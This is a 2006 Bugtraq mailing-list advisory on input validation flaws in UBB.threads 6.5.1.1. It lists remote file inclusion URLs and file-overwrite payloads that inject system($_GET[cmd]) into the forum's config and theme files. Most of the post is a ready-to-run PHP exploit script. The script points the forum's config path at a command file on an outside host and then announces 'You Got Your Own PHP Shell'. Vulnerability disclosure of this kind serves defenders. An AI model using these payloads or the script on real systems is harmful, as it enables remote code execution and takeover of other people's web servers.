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List:       bugtraq
Subject:    UBB.threads Multiple input validation error
From:       security () soqor ! net
Date:       2006-09-29 12:09:40
Message-ID: 20060929120940.9518.qmail () securityfocus ! com
[Download RAW message or body]

Hello,,

UBB.threads Multiple input validation error

Discovered By : HACKERS PAL
Copy rights : HACKERS PAL
Website : http://www.soqor.net
Email Address : security@soqor.net

Tested on Version 6 (6.5.1.1) and other versions maybe affected


Remote File including :
ubbt.inc.php?GLOBALS[thispath]=http://localhost/cmd.txt?&cmd=dir
ubbt.inc.php?GLOBALS[configdir]=http://localhost/cmd.txt?&cmd=dir
-------------------------------------------------------
Files overwrite vulnerabilities
if magic_qoutes_gpc = off

admin/doedittheme.php?theme[soqor]=".system($_GET[cmd])."&thispath=../
and open 
includes/theme.inc.php?cmd=ls -la
or :-
admin/doeditconfig.php?config[soqor]=".system($_GET[cmd])."&thispath=../
and open
includes/config.inc.php?cmd=ls -la

-- # -- # -- # --

if magic_qoutes_gpc = on
admin/doeditconfig.php?thispath=../includes&config[path]=http://psevil.googlepages.com/cmd.txt?


and you will have a command execution files ..
example
dorateuser.php?cmd=ls -la
calendar.php?cmd=ls -la
and so many other files which includes using this variable ($config[path])
-------------------------------------------------------

Full path
cron/php/subscriptions.php

-------------------------------------------------------
Exploit :-

#!/usr/bin/php -q -d short_open_tag=on
<?
/*
/*   UBB.threads Multiple vulnerabilities
/*  This exploit should allow you to execute commands
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
*/
print_r('
/**********************************************/
/*       UBB.threads Command Execution        */
/*    by HACKERS PAL <security@soqor.net>     */
/*         site: http://www.soqor.net         */');
if ($argc<2) {
print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host
/* Example:                                   */
/*    php '.$argv[0].' http://localhost/
/**********************************************/
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);

$url=$argv[1]."/";
$exploit="admin/doeditconfig.php?thispath=../includes&config[path]=http://psevil.googlepages.com/cmd.txt?";
 $page=$url.$exploit;
         Function get_page($url)
         {

                  if(function_exists("file_get_contents"))
                  {

                       $contents = file_get_contents($url);

                          }
                          else
                          {
                              $fp=fopen("$url","r");
                              while($line=fread($fp,1024))
                              {
                               $contents=$contents.$line;
                              }


                                  }
                       return $contents;
         }

     $page    = get_page($page);

     $newpage = get_page($url."calendar.php");

     if(eregi("Cannot execute a blank command",$newpage))
     {
       Die("\n[+] Exploit Finished\n[+] Go To : ".$url."calendar.php?cmd=ls -la\n[+] \
You Got Your Own PHP Shell\n/*        Visit us : WwW.SoQoR.NeT            \
*/\n/**********************************************/");  }
             Else
             {
                Die("\n[-] Exploit Failed\n/*        Visit us : WwW.SoQoR.NeT         \
*/\n/**********************************************/");  }
?>

WwW.SoQoR.NeT


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